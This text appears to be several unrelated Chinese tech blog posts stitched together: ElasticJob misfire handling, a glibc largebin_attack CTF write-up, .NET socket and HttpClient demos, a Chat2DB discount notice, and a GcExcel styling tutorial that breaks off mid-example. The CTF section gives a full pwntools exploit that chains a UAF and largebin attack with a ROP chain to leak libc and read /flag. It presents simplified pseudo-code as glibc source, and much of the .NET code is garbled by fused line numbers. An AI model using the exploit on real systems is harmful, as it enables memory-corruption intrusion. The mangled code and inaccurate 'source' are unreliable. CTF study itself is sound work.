2024年7月

ElasticJob的幂等机制,是指作业分片执行的幂等,他需要做到以下两点:

  • 同一个分片在当前作业实例上不会被重复执行

  • 一个作业分片不能同时在多个作业实例上执行

如何实现幂等

场景模拟:存在任务A执行周期为10s一次。正常情况下任务处理耗时3-5s。但是某一时刻因为数据量突然增大或者因为数据库压力,导致任务耗时超过了10s。在该过程中,任务每10s调度一次,如果没有幂等,那么会存在一个任务同时多个调度的情况,处理相同的数据。

ElasticJob任务执行:
com.dangdang.ddframe.job.executor.AbstractElasticJobExecutor#execute()

public final void execute() {
        ...
          // 获取当前作业服务器的分片上下文
        ShardingContexts shardingContexts = jobFacade.getShardingContexts();
        //是否允许可以发送作业事件
        if (shardingContexts.isAllowSendJobEvent()) {
            // 发布作业状态追踪事件
            jobFacade.postJobStatusTraceEvent(shardingContexts.getTaskId(), State.TASK_STAGING, String.format("Job '%s' execute begin.", jobName));
        }
        // 在一个调度任务触发后如果上一次任务还未执行,则需要设置该分片状态为mirefire,表示错失了一次任务执行
        if (jobFacade.misfireIfRunning(shardingContexts.getShardingItemParameters().keySet())) {
            if (shardingContexts.isAllowSendJobEvent()) {
                jobFacade.postJobStatusTraceEvent(shardingContexts.getTaskId(), State.TASK_FINISHED, String.format(
                        "Previous job '%s' - shardingItems '%s' is still running, misfired job will start after previous job completed.", jobName, 
                        shardingContexts.getShardingItemParameters().keySet()));
            }
            return;
        }
        ...
    }

接下来主要看一下
jobFacade.misfireIfRunning
的实现逻辑

 public boolean misfireIfHasRunningItems(Collection<Integer> items) {
       // 没有分片正在运行,返回false,此次任务调度正常进行,否则设置mirefire
       if (!this.hasRunningItems(items)) {
            return false;
        } else {
            this.setMisfire(items);
            return true;
        }
    }

如果存在未完成调度的分片,则调用
setMisfire(items)
方法。如何判断是否有未完成调度的分片呢,看看
hasRunningItems(items)
的实现逻辑。

public boolean hasRunningItems(Collection<Integer> items) {
        LiteJobConfiguration jobConfig = this.configService.load(true);
        if (null != jobConfig && jobConfig.isMonitorExecution()) {
            Iterator i$ = items.iterator();

            int each;
            do {
                if (!i$.hasNext()) {
                    return false;
                }

                each = (Integer)i$.next();
            } while(!this.jobNodeStorage.isJobNodeExisted(ShardingNode.getRunningNode(each)));
            // ShardingNode.getRunningNode(each)
          /*
            public static String getRunningNode(int item) {
                return String.format("sharding/%s/running", item);
            }*/
            return true;
        } else {
            return false;
        }
    }

在Elasticjob开启
monitorExecution
的机制下,分片任务开始时会创建
sharding/分片/running
节点,任务完成后删除该节点。所以上述代码中,可以看出来,可以通过是否存在该分片的节点来判断是否有分片正在运行。

同时,调用
setMisfire(items)
方法的时候,根据代码判断,
setMisfire(items)
方法为分配给该实例下的所有分片创建持久节点/shading/{item}/misfire节点,只要分配给该实例的任何一分片未执行完毕,则在该实例下的所有分片都增加misfire节点,然后忽略本次任务触发执行,等待任务结束后再执行。

    public void setMisfire(Collection<Integer> items) {
        Iterator i$ = items.iterator();

        while(i$.hasNext()) {
            int each = (Integer)i$.next();
            this.jobNodeStorage.createJobNodeIfNeeded(ShardingNode.getMisfireNode(each));
        }
        // ShardingNode.getMisfireNode(each)
        /**
            static String getMisfireNode(int item) {
                return String.format("sharding/%s/misfire", item);
            }
        */

    }

在该执行方法中(
com.dangdang.ddframe.job.executor.AbstractElasticJobExecutor#execute()
)

//执行job        
execute(shardingContexts, JobExecutionEvent.ExecutionSource.NORMAL_TRIGGER);

//  如果存在Misfire节点,则清除该节点
while (jobFacade.isExecuteMisfired(shardingContexts.getShardingItemParameters().keySet())) {    
  // 清除Misfire节点
  jobFacade.clearMisfire(shardingContexts.getShardingItemParameters().keySet());
  execute(shardingContexts, JobExecutionEvent.ExecutionSource.MISFIRE);
 }

总结:在下一个调度周期到达之后,只要发现这个分片的任何一个分片正在执行,则为该实例分片的所有分片都设置为misfire,等任务执行完毕后,再统一执行下一次任务调度。

常回家看看之largebin_attack

先简单介绍一下什么是largebin

largebin
是 glibc 的
malloc
实现中用于管理大块内存的一种数据结构。在 glibc 的内存分配中,
largebin

bin
系列的一部分,用于存储大小超过某个阈值的空闲内存块。
largebin
的设计目标是提高内存管理的效率,并减少内存碎片。

简单点就是用来管理较大的堆块的

  • 起始大小:
    largebin
    管理的内存块大小从
    smallbin
    范围的最大值 + 1 开始。具体来说,
    smallbin
    的最大块大小是 512 字节,因此
    largebin
    的起始大小是 513 字节。
  • 无上限:
    largebin
    的内存块没有固定的上限。任何大于 512 字节的空闲内存块都会被插入到适当的
    largebin
    中。
  • 当有较大堆块被释放的时候,先进入unsortbin,再次进行分配的时候,如果有合适的,则将堆块分割,剩下的部分仍然进入unsortbin,如果没有合适的则进入largebin

largebin和其他bin的区别


largebin
中,每个大块内存块除了标准的双向链表指针
fd
(forward)和
bk
(backward)外,还包含额外的指针
fd_nextsize

bk_nextsize
。这些指针的作用如下:

  • fd

    bk
    :指向当前链表中前后相邻的内存块,用于维护基本的双向链表。
  • fd_nextsize

    bk_nextsize
    :指向按大小排序的前后相邻内存块,用于维护按大小排序的链

作用:

  • fd_nextsize
    :指向当前内存块大小相同或更大的下一个内存块。
  • bk_nextsize
    :指向当前内存块大小相同或更小的前一个内存块。

这种结构允许
largebin
维护两条链表:一条是按插入顺序排列的链表(使用
fd

bk
指针),另一条是按大小排序的链表(使用
fd_nextsize

bk_nextsize
指针)。

Large Bin
的插入顺序:

  • 按大小排序:首先根据大小从大到小对堆块进行排序。较小的块链接在较大的块之后。
  • 按释放时间排序:对于大小相同的块,按它们被释放的时间顺序进行排序。先释放的块排在前面。
  • fd_nextsize

    bk_nextsize
    指针:
  • 对于多个大小相同的堆块,只有第一个块(即首堆块)的
    fd_nextsize

    bk_nextsize
    指针指向其他块。
  • 后续相同大小的堆块的
    fd_nextsize

    bk_nextsize
    指针均为 0。

循环链表:

  • 大小最大的块的
    bk_nextsize
    指向大小最小的块。
  • 大小最小的块的
    fd_nextsize
    指向大小最大的块。

原理:

  • Largebin 是 glibc 内存分配器中用于存储较大内存块的链表。每个块不仅包含指向前后块的指针 (
    fd

    bk
    ),还包含指向相同大小块的指针 (
    fd_nextsize

    bk_nextsize
    )。
  • 当一个内存块被释放后,它会被放入适当的 bin 中。如果是大块,则放入 Largebin。
  • 当分配新的内存块时,glibc 会尝试从适当的 bin 中找到合适的块进行分配。在 Largebin 中,按大小排序的链表有助于快速找到合适的块。
  • 攻击者可以通过伪造指针,特别是
    bk_nextsize
    ,来控制内存分配器的行为,从而实现任意地址写入。

glibc 源码分析

1.当一个块被释放并符合 Largebin 条件时,会被放入 Largebin 中。以下是 glibc 中
malloc

free
操作的相关部分:

void _int_free(mstate av, mchunkptr p) {
    // ... other code ...

    // Determine the bin to use
    if (chunk_in_largebin_range(size)) {
        // Add to Largebin
        mchunkptr bck = largebin[bin_index];
        mchunkptr fwd = bck->fd;
        
        p->bk = bck;
        p->fd = fwd;
        bck->fd = p;
        fwd->bk = p;
        
        // Update nextsize pointers
        mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
        while (next_chunk != NULL && chunksize(next_chunk) < size) {
            next_chunk = next_chunk->fd_nextsize;
        }
        p->fd_nextsize = next_chunk;
        p->bk_nextsize = next_chunk->bk_nextsize;
        next_chunk->bk_nextsize = p;
        next_chunk->fd_nextsize = p;
    }

    // ... other code ...
}

2. 修改
bk_nextsize

我们需要找到一种方式修改 Largebin 中块的
bk_nextsize
字段。

chunk1->bk_nextsize = Target - 0x20;

3. 分配新块触发攻击

当分配一个新的块时,glibc 会尝试找到合适的块进行分配。在这个过程中,伪造的
bk_nextsize
会被用来更新指针,导致任意地址写入。

void* _int_malloc(mstate av, size_t bytes) {
    // ... other code ...

    if (bytes > MAX_SMALLBIN_SIZE) {
        // Check Largebin
        mchunkptr victim = largebin[bin_index];
        
        if (victim != NULL) {
            // Remove from Largebin
            mchunkptr bck = victim->bk;
            mchunkptr fwd = victim->fd;
            
            bck->fd = fwd;
            fwd->bk = bck;
            
            // Update nextsize pointers
            mchunkptr next_chunk = victim->fd_nextsize;
            next_chunk->bk_nextsize = victim->bk_nextsize;
            victim->bk_nextsize->fd_nextsize = next_chunk;
            
            // Allocate the chunk
            set_inuse_bit_at_offset(victim, bytes);
            return chunk2mem(victim);
        }
    }

    // ... other code ...
}

通过上周的比赛题目可以很好的介绍largebin_attack
题目地址:

https://buuoj.cn/match/matches/207/challenges#magicbook

题目保护情况:没有开canary保护

64位ida逆向

存在3个功能,一个一个看

add,申请堆块大小和数量都有限制

free,不仅存在UAF,而且还有任意堆块数据部分+8处0x18字节写的功能

edit,如果book处的地址很大存在栈溢出

沙箱保护

思路:通过largebin_attack,将book处的地址变成一个较大的数据(头指针),然后通过栈溢出,orw读取数据

1.申请0x450,0x440,0x440(防止合并)大小的三个堆块

2.释放第一个堆块(此时进入unsortbin)

3.申请一个比第一个堆块大的堆块(此时进入largebin)

4.释放第二个堆块的同时,修改第一个堆块的bk_nextsize为book-0x20的位置

5.申请一个大堆块完成largebin_attack

6.栈溢出orw读取flag

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./libc.so.6')

success('puts--->'+hex(libc.sym['system']))

io.recvuntil(' gift: ')
elf_base = int(io.recv(14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060


def add(size):
    io.sendlineafter('Your choice:','1')
    io.sendlineafter('your book need?',str(size))


def free0(index,ch,msg):
    io.sendlineafter('Your choice:','2')
    io.sendlineafter('want to delete?',str(index))
    io.sendlineafter('being deleted?(y/n)','y')
    io.sendlineafter('you want to write?',str(ch))
    io.sendafter('content: ',msg)

def free1(index):
    io.sendlineafter('Your choice:','2')
    io.sendlineafter('want to delete?',str(index))
    io.sendlineafter('being deleted?(y/n)','n')

def edit():
    io.sendlineafter('Your choice:','3')



book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863  + elf_base # : pop rdi; ret; 
pop_rsi = 0x0000000000001861  + elf_base  #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1

#gdb.attach(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#gdb.attach(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0)

edit()
io.recvuntil('down your story!')
#gdb.attach(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
io.sendline(payload)
io.recvuntil('\n')
libc_bass = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success('libc_bass---->'+hex(libc_bass))
io.recvuntil('down your story!')

pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret; 
syscall = 0x0000000000091316 + libc_bass#: syscall; ret; 
open = libc_bass + libc.sym['open']
environ = libc_bass + libc.sym['environ']
success('environ---->'+hex(environ))
read = libc_bass + libc.sym['read']

payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
stack  = u64(io.recv(6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
io.recvuntil('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open) 
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt) 
print(len(payload))
payload += b'/flag\x00\x00'
#gdb.attach(io)
io.sendline(payload)

io.interactive()

总结:

Largebin Attack 利用条件和步骤

利用条件:

  1. 修改权限:能够修改 Largebin 中块的
    bk_nextsize
    字段。

  2. 堆块分配:程序能够分配至少三种不同大小的块,并确保这些块紧密相邻。

利用步骤:

  1. 分配堆块:


    • 分配一块大小为
      size1
      且在 Largebin 范围内的块
      chunk1

    • 分配一块任意大小的块
      pad1
      ,以防止在释放
      chunk1
      时系统将其与 top chunk 合并。

    • 分配一块大小为
      size2
      且在 Largebin 范围内的块
      chunk2
      ,要求
      size2 < size1

      chunk2
      紧邻
      chunk1

    • 分配一块任意大小的块
      pad2
      ,以防止在释放
      chunk2
      时系统将其与 top chunk 合并。

  2. 释放并重新分配:


    • 释放
      chunk1
      ,此时系统会将其放入 unsortedbin。再分配一个大小为
      size3
      的块,要求
      size3 > size1
      ,此时系统会将
      chunk1
      放进 Largebin 中。

    • 确保
      chunk2
      紧邻
      chunk1

    • 释放
      chunk2
      进入 unsortedbin。

  3. 修改指针:


    • 修改
      chunk1->bk_nextsize

      Target - 0x20

  4. 触发攻击:


    • 随意分配一个可以进入unsortbin的堆块,就会触发 Largebin attack。

做.NET应用开发肯定会用到网络通信,而进程间通信是客户端开发使用频率较高的场景。

进程间通信方式主要有命名管道、消息队列、共享内存、Socket通信,个人使用最多的是Sokcet相关。

而Socket也有很多使用方式,Socket、WebSocket、TcpClient、UdpClient,是不是很多?HttpClient与TcpClient、WebSocket之间有什么关系?这里我们分别介绍下这些通信及使用方式

Socket

Socket是传输通信协议么?No,Socket是一种传输层和应用层之间、用于实现网络通信的编程接口。Socket可以使用各种协议如TCP、UDP协议实现进程通信,TCP/UDP才是传输通信协议

Socket位于传输层与应用层之间,接口在System.Net.Sockets命名空间下。下面是Socket以TCP通信的DEMO:

//创建一个 Socket 实例
    Socket clientSocket = newSocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);//连接到服务器
    clientSocket.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 8000));//发送数据
    string message = "Hello, Server!";byte[] data =Encoding.ASCII.GetBytes(message);
clientSocket.Send(data);
//接收数据 byte[] buffer = new byte[1024];int bytesRead =clientSocket.Receive(buffer);
Debug.WriteLine(Encoding.ASCII.GetString(buffer,
0, bytesRead));

clientSocket.Close();

TcpClient/UdpClient

TCP/UDP均是位于传输层的通信协议,所以Socket的使用也是位于传输层的通信操作

TCP是面向连接,提供可靠、顺序的数据流传输。用于一对一的通信,即一个TCP连接只能有一个发送方和一个接收方。详细连接方式是,先通过三次握手建立连接、然后传输数据,传输数据完再通过4次挥手关闭连接。所以适用于需要数据完整性和可靠传输的场景

而UDP则是无连接的,不需要建立和维护连接状态,不提供确认机制,也不重传丢失的数据报,但也因此传输实时性高,适合低延时、数据量小、广播场景

基于Socket抽象编程接口,TCP、UDP构建更高级别抽象网络编程TcpClient、UdpClient,
它们用于简化TCP网络编程中的常见任务

TcpClient、UdpClient
是 .NET 提供的用于方便管理TCP和UDP网络通信的类,下面是对应的Demo

Tcp服务端:

1 usingSystem;2 usingSystem.Net;3 usingSystem.Net.Sockets;4 usingSystem.Text;5 
6 classTcpServerExample7 {8     public static voidMain()9 {10         TcpListener listener = new TcpListener(“127.0.0.1", 8000);
11 listener.Start();12         Console.WriteLine("Server is listening on port 8000...");13 
14         TcpClient client =listener.AcceptTcpClient();15         NetworkStream stream =client.GetStream();16         
17         byte[] data = new byte[1024];18         int bytesRead = stream.Read(data, 0, data.Length);19         Console.WriteLine("Received:" + Encoding.ASCII.GetString(data, 0, bytesRead));20 
21         byte[] response = Encoding.ASCII.GetBytes("Hello, Client!");22         stream.Write(response, 0, response.Length);23 
24 stream.Close();25 client.Close();26 listener.Stop();27 }28 }

TCP客户端:

1 usingSystem;2 usingSystem.Net.Sockets;3 usingSystem.Text;4 
5 classTcpClientExample6 {7     public static voidMain()8 {9         TcpClient client = new TcpClient("127.0.0.1", 8000);10         NetworkStream stream =client.GetStream();11 
12         byte[] message = Encoding.ASCII.GetBytes("Hello, Server!");13         stream.Write(message, 0, message.Length);14 
15         byte[] data = new byte[1024];16         int bytesRead = stream.Read(data, 0, data.Length);17         Debug.WriteLine("Received:" + Encoding.ASCII.GetString(data, 0, bytesRead));18 
19 stream.Close();20 client.Close();21 }22 }

Udp服务端:

1 usingSystem;2 usingSystem.Net;3 usingSystem.Net.Sockets;4 usingSystem.Text;5 
6 classUdpServerExample7 {8     public static voidMain()9 {10         UdpClient udpServer = new UdpClient(8000);11         IPEndPoint remoteEP = new IPEndPoint(”127.0.0.1“, 0);12 
13         Console.WriteLine("Server is listening on port 8000...");14 
15         byte[] data = udpServer.Receive(refremoteEP);16         Console.WriteLine("Received:" +Encoding.ASCII.GetString(data));17 
18         byte[] response = Encoding.ASCII.GetBytes("Hello, Client!");19 udpServer.Send(response, response.Length, remoteEP);20 
21 udpServer.Close();22 }23 }

Udp客户端:

1 usingSystem;2 usingSystem.Net;3 usingSystem.Net.Sockets;4 usingSystem.Text;5 
6 classUdpClientExample7 {8     public static voidMain()9 {10         UdpClient udpClient = newUdpClient();11         IPEndPoint remoteEP = new IPEndPoint(”127.0.0.1", 8000);
12 
13         byte[] message = Encoding.ASCII.GetBytes("Hello, Server!");14 udpClient.Send(message, message.Length, remoteEP);15 
16         byte[] data = udpClient.Receive(refremoteEP);17         Console.WriteLine("Received:" +Encoding.ASCII.GetString(data));18 
19 udpClient.Close();20 }21 }

上面是基本的网络通信DEMO,TcpClient用于基于连接、可靠的TCP通信,适用于需要数据完整性和可靠传输的场景。Udp用于无连接、不保证传输的UDP通信,适用于对实时性要求高、允许少量数据丢失的场景(如视频流)。会议场景下的传屏软件适合用这个协议,传屏发送端固定帧率一直推送,网络丢失几帧问题不大,重要的是延时低了很多。

TcpClient、UdpClient是位于传输层的通信类,分别实现了基于TCP和UDP协议的通信功能。

HttpClient

讲完传输层的网络通信类,就要说下应用层的HttpClient,这是专门用于HTTP协议的通信

Http与TCP/UDP均是网络通信协议,TCP、UDP位于传输层,HTTP传于应用层,而且HTTP是基于TCP面向连接的。TCPHTTP1.1之后引入持久连接,允许一个TCP连接进行多次请求/响应传输。HTTP层相比TCP它关注请求、响应的内容

HttpClient是Http协议的通信类,提供了封装好的、高级的HTTP功能(如发起GET, POST请求,处理响应等)。

HttpClient可以用于Web接口如Restful API的调用,我这边Windows应用的WebApi基础组件库就是用HttpClient实现的。

HttpClient类,在System.Net.Http.HttpClient命名空间下,
HttpClient
的内部实现是基于
Socket
的。也就是说,
HttpClient
底层使用Socket接口来建立连接并传输数据,但它隐藏了这些细节,为开发者提供了一个更简洁的API。

下面是我基于HttpClient实现的Web服务各类操作入口代码,可以简单浏览下:

1         /// <summary>
2         ///请求/推送数据3         /// </summary>
4         /// <typeparam name="TResponse"></typeparam>
5         /// <param name="request"></param>
6         /// <returns></returns>
7         public async Task<TResponse> RequestAsync<TResponse>(HttpRequest request) where TResponse : HttpResponse, new()8 {9             var requestUrl =request.GetRequestUrl();10             try
11 {12                 using var client =CreateHttpClient(request);13                 var requestMethod =request.GetRequestMethod();14                 switch(requestMethod)15 {16                     caseRequestMethod.Get:17 {18                             using var response = awaitclient.GetAsync(requestUrl);19                             return await response.GetTResponseAsync<TResponse>();20 }21                     caseRequestMethod.Post:22 {23                             using var httpContent =request.GetHttpContent();24                             using var response = awaitclient.PostAsync(requestUrl, httpContent);25                             return await response.GetTResponseAsync<TResponse>();26 }27                     caseRequestMethod.Put:28 {29                             using var httpContent =request.GetHttpContent();30                             using var response = awaitclient.PutAsync(requestUrl, httpContent);31                             return await response.GetTResponseAsync<TResponse>();32 }33                     caseRequestMethod.Delete:34 {35                             using var response = awaitclient.DeleteAsync(requestUrl);36                             return await response.GetTResponseAsync<TResponse>();37 }38                     caseRequestMethod.PostForm:39 {40                             using var requestMessage = newHttpRequestMessage(HttpMethod.Post, requestUrl);41                             using var httpContent =request.GetHttpContent();42                             requestMessage.Content =httpContent;43                             using var response = awaitclient.SendAsync(requestMessage);44                             return await response.GetTResponseAsync<TResponse>();45 }46 }47                 return new TResponse() { Message = $"不支持的请求类型:{requestMethod}"};48 }49             catch(ArgumentNullException e)50 {51                 return new TResponse() { Code = NetErrorCodes.ParameterError, Message = e.Message, JsonData =e.StackTrace };52 }53             catch(TimeoutException e)54 {55                 return new TResponse() { Code = NetErrorCodes.TimeOut, Message = e.Message, JsonData =e.StackTrace };56 }57             catch(Exception e)58 {59                 return new TResponse() { Message = e.Message, JsonData =e.StackTrace };60 }61         }

HttpClient封装后的网络基础组件调用方式,也比较简单。

添加接口请求说明,参数及请求参数均统一在一个类文件里定义好:

1 /// <summary>
2 ///内网穿透注册接口3 /// </summary>
4 [Request("http://frp.supporter.ws.h3c.com/user/register",RequestMethod.Post)]5 [DataContract]6 internal classRegisterFrpRequest : HttpRequest7 {8     public RegisterFrpRequest(string sn, stringappName)9 {10         Sn =sn;11         SeverNames = new List<RequestServiceName>()12 {13             new RequestServiceName(appName,"http")14 };15 }16     [DataMember(Name = "sn")]17     public string Sn { get; set; }18 
19     [DataMember(Name = "localServerNames")]20     public List<RequestServiceName> SeverNames { get; set; }21 }

再定义请求结果返回数据,基类HttpResponse内有定义基本参数,状态Success、状态码Code、返回描述信息Message:

1 [DataContract]2 classRegisterFrpResponse : HttpResponse3 {4 
5     [DataMember(Name = "correlationId")]6     public string CorrelationId { get; set; }7 
8     [DataMember(Name = "data")]9     public FrpRegisterData Data { get; set; }10 
11     /// <summary>
12     ///是否成功13     /// </summary>
14     public bool IsSuccess => Success && Code == 200000 && Data != null;15 }

然后,业务层可以进行简洁、高效率的调用:

var netClient = new NetHttpClient();
var response = await netClient.RequestAsync<RegisterFrpResponse>(new RegisterFrpRequest(sn, appName));

WebSocket

WebSocket也是一个应用层通信,不同于可以实现俩类协议TCP/UDP的Socket,WebSocket只依赖于HTTP/HTTPS连接。

一旦握手成功,客户端和服务器之间可以进行双向数据传输,可以传输字节数据也可以传输文本内容。

  • 持久连接:WebSocket 是持久化连接,除非主动关闭,否则在整个会话期间连接保持开放。

  • 全双工通信:客户端和服务器可以随时发送数据,通信不再是单向的。使用
    System.Net.WebSockets.ClientWebSocket
    类来实现WebSocket通信,通过减少 HTTP 请求/响应的开销、延时较低。


WebSocket

HttpClient

之间呢,都用于应用层的网络通信,但它们的用途和通信协议是不同的。

  • HttpClient
    使用 HTTP 协议,
    WebSocket
    使用 WebSocket 协议,该协议在初始连接时通过 HTTP/HTTPS握手,然后转换为基于TCP通信的WebSocket协议。所以虽然都有使用HTTP协议,但WebSocket后续就切换至基于TCP的全双工通信了

  • HttpClient
    基于请求/响应模式,每次通信由客户端向服务器发起请求。
    WebSocket
    提供全双工通信,客户端和服务器都可以主动发送数据。

  • HttpClient
    主要用于访问 RESTful API、下载文件或者发送HTTP请求。
    WebSocket
    主要用于实现低延迟的实时通信,如进程间通信、局域网通信等。

我团队Windows应用所使用的进程间通信,就是基于WebSocketSharp封装的。WebSocketSharp是一个功能全面、易于使用的第三方 WebSocket 库
GitHub - sta/websocket-sharp

至于为啥不直接使用ClientWebSocket。。。是因为当时团队还未切换.NET,使用的是.NETFramework。

后面团队使用的局域网通信基础组件就是用ClientWebSocket了。

下面是我封装的部分WebSocket通信代码,事件发送(广播)、以及监听其它客户端发送过来的事件消息:

1         /// <summary>
2         ///发送消息3         /// </summary>
4         /// <typeparam name="TInput">发送参数类型</typeparam>
5         /// <param name="client">目标客户端</param>
6         /// <param name="innerEvent">事件名</param>
7         /// <param name="data">发送参数</param>
8         /// <returns></returns>
9         public async Task<ClientResponse> SendAsync<TInput>(stringclient, InnerEventItem innerEvent, TInput data)10 {11             var message = new ChannelSendingMessage(client, new ClientEvent(innerEvent.EventName, innerEvent.EventId, true), _sourceClient);12             message.SetData<TInput>(data);13             return awaitSendMessageAsync(ChannelMessageType.ClientCommunication, message);14 }15 
16         /// <summary>
17         ///订阅消息18         /// </summary>
19         /// <param name="client">目标客户端</param>
20         /// <param name="innerEvent">事件名称</param>
21         /// <param name="func">委托</param>
22         public ClientSubscribedEvent SubscribeFunc(string client, InnerEventItem innerEvent, Func<ClientResponse, object>func)23 {24             var eventName = innerEvent?.EventName;25             if (string.IsNullOrEmpty(eventName) || func == null)26 {27                 throw new ArgumentNullException($"{nameof(eventName)}或{nameof(func)},参数不能为空!");28 }29 
30             var subscribedEvent = newClientSubscribedEvent(client, innerEvent, func);31 SubscribeEvent(subscribedEvent);32             returnsubscribedEvent;33 }34 
35         /// <summary>
36         ///订阅消息37         /// </summary>
38         /// <param name="client">目标客户端</param>
39         /// <param name="innerEvent">事件名称</param>
40         /// <param name="func">委托</param>
41         public ClientSubscribedEvent SubscribeFuncTask(string client, InnerEventItem innerEvent, Func<ClientResponse, Task<object>>func)42 {43             var eventName = innerEvent?.EventName;44             if (string.IsNullOrEmpty(eventName) || func == null)45 {46                 throw new ArgumentNullException($"{nameof(eventName)}或{nameof(func)},参数不能为空!");47 }48 
49             var subscribedEvent = newClientSubscribedEvent(client, innerEvent, func);50 SubscribeEvent(subscribedEvent);51             returnsubscribedEvent;52         }

关键词:TCP/UDP,HTTP,Socket,TcpClient/UdpClient,HttpClient,WebSocket

在园子遇到紧急困难发出
求救信
后,很多园友纷纷出手购买会员相救,非常感谢大家的支持!

但目前会员权益很少,而我们的开发人手极其有限,为了增加更多会员权益,我们想到一个暂时的偷懒方法,尝试找优秀的厂商合作,给园子的会员特别的优惠。

但这个偷懒想法并不容易实现,优秀的厂商不一定愿意理我们,即使理我们,也不一定愿意针对园子会员给你特别的优惠。

幸运的是因为求救信偶遇一家有意向的AI厂商,而且公司就在杭州,而且产品与园子的用户群很匹配,于是很快地达成了合作。

虽然很快,但不草率,三次见面聊过后才达成。

他们做的是AI驱动的数据库管理工具,既有开源免费的社区版,也有付费的专业版、企业版、独立部署版,典型的开源免费+增值收费模式。

开源版本当前在 github 上有 14.4k 颗星,个人PRO版(专业版)一年299元,可以免费试用30天。

这次和园子合作,给园子会员的特惠是8折优惠,可以通过
领券链接
领取折扣邀请码。

这个AI驱动的数据库管理工具就是 Chat2DB ,一个AI驱动的数据开发和分析平台。

Chat2DB 创始人也是另外一个知名开源项目
EasyExcel
的作者。

欢迎使用 Chat2DB,和你的数据库聊聊天。

最新技术资源(建议收藏)
https://www.grapecity.com.cn/resources/

前言

在Java开发中,处理Excel文件是一项常见的任务。在处理Excel文件时,经常需要对单元格进行样式设置,以满足特定的需求和美化要求,通过使用Java中的相关库和API,我们可以轻松地操作Excel文件并设置单元格的样式。

在本文中,小编将介绍如何借助葡萄城公司的Java API 组件——
GrapeCity Documents for Excel
(以下简称GcExcel)修改Excel单元格中的各种格式和外观。修改的样式包括下列内容:

  • 文本颜色
  • 边框
  • 文本样式
  • 文本对齐和缩进
  • 文本方向和角度
  • RichText 控件
  • 条件格式
  • 单元格样式

1.
文本颜色

文本颜色是基本的外观设置之一,有助于处理多种数据情况,例如

  • 突出显示数据中的重要内容,例如温度数值,随着温度升高而变红
  • 区分部门或区域销售等数据

在 Excel 中,可以使用“工具栏”或“设置单元格格式”对话框中的调色板添加文本颜色,如下所示:

借助GcExcel,可以通过
IRange
接口的
Font
设置的
Color

ThemeColor
属性,如下面的代码所示:

//标准, 系统颜色
worksheet.getRange("A1").getFont().setColor(Color.GetRed());

//或者主题颜色
worksheet.getRange("A1").getFont().setThemeColor(ThemeColor.Light1);

2.
边框

边框是另一个常用的格式设置选项, 借助GcExcel,可以使用
IRange
接口的
Borders
来设置。

worksheet.getRange("A1").getBorders().setLineStyle(BorderLineStyle.Dotted);
// 或者
worksheet.getRange("A1").getCells().getBorders().setLineStyle(BorderLineStyle.Dotted)

3.
文本样式

借助GcExcel,可以使用
IRange
接口的 Font 来设置文本的字体和样式:

//设置粗体
worksheet.getRange("A1").getFont().setBold(true);
//设置斜体
worksheet.getRange("A1").getFont().setItalic(true);
//设置下划线
worksheet.getRange("A1").getFont().setUnderline(UnderlineType.Single);

4.
文本对齐和缩进

文本对齐和缩进是段落格式属性,通常用于格式化整个段落中文本的外观或表格中的数字。

Excel 中有两种类型的文本对齐方式:

  • 水平对齐方式,包括以下选项:左对齐、居中对齐、右对齐和对齐
  • 垂直对齐选项:顶部、中部和底部

借助GcExcel,可以使用
IRange
接口的
HorizontalAlignment 和
VerticalAlignment
属性以编程方式对齐文本,如下所示:

//水平对齐
worksheet.getRange("A1").setHorizontalAlignment(HorizontalAlignment.Center);
//垂直对齐
worksheet.getRange("A1").setVerticalAlignment(VerticalAlignment.Top);

缩进有两种类型:左缩进和右缩进。

可以通过使用
IRange
接口启用
AddIndent
设置并配置
IndentLevel
(接受指示缩进级别的整数)来应用文本缩进,如下面的代码所示:

worksheet.getRange("A1:H7").setAddIndent(true);
worksheet.getRange("A1:A7").setIndentLevel(0);
worksheet.getRange("B1:B7").setIndentLevel(1);
worksheet.getRange("C1:C7").setIndentLevel(2);

5.
文本方向和角度

Excel 中的“文本方向”和“文本旋转”设置有助于特定语言的样式设置。文本方向配置书写方向 - 从左到右 (LTR) 或从右到左 (RTL),可用于阿拉伯语等语言。文本旋转设置文本的角度,对于垂直文本(如 CJK)特别有用。

借助GcExcel ,可以使用
IRange
接口的
ReadingOrder
属性来设置文本方向。它接受
ReadingOrder
枚举中的值,如下所示:

worksheet.getRange("A1").setReadingOrder(ReadingOrder.RightToLeft);

可以将 Orientation 属性与
IRange
接口一起使用,以添加有角度的文本。它接受从 -90 到 90 或 255(对于垂直文本)的整数值,如下所示:

worksheet.getRange("A1").setOrientation(45);

点击这里
查看在线Demo。

6.
RichText 控件

在Excel中,若要在单元格中包含富文本,在编辑模式下输入单元格,然后选择文本的一部分以应用单独的格式,如下所示:

借助GcExcel,可以使用
IRichText

ITextRun
对象配置 RichText:

IRichText richText = worksheet.getRange("A1").getRichText();
// 添加字符串 “Documents” 到 IRichText 对象并应用格式
ITextRun run1 = richText.add("Document");
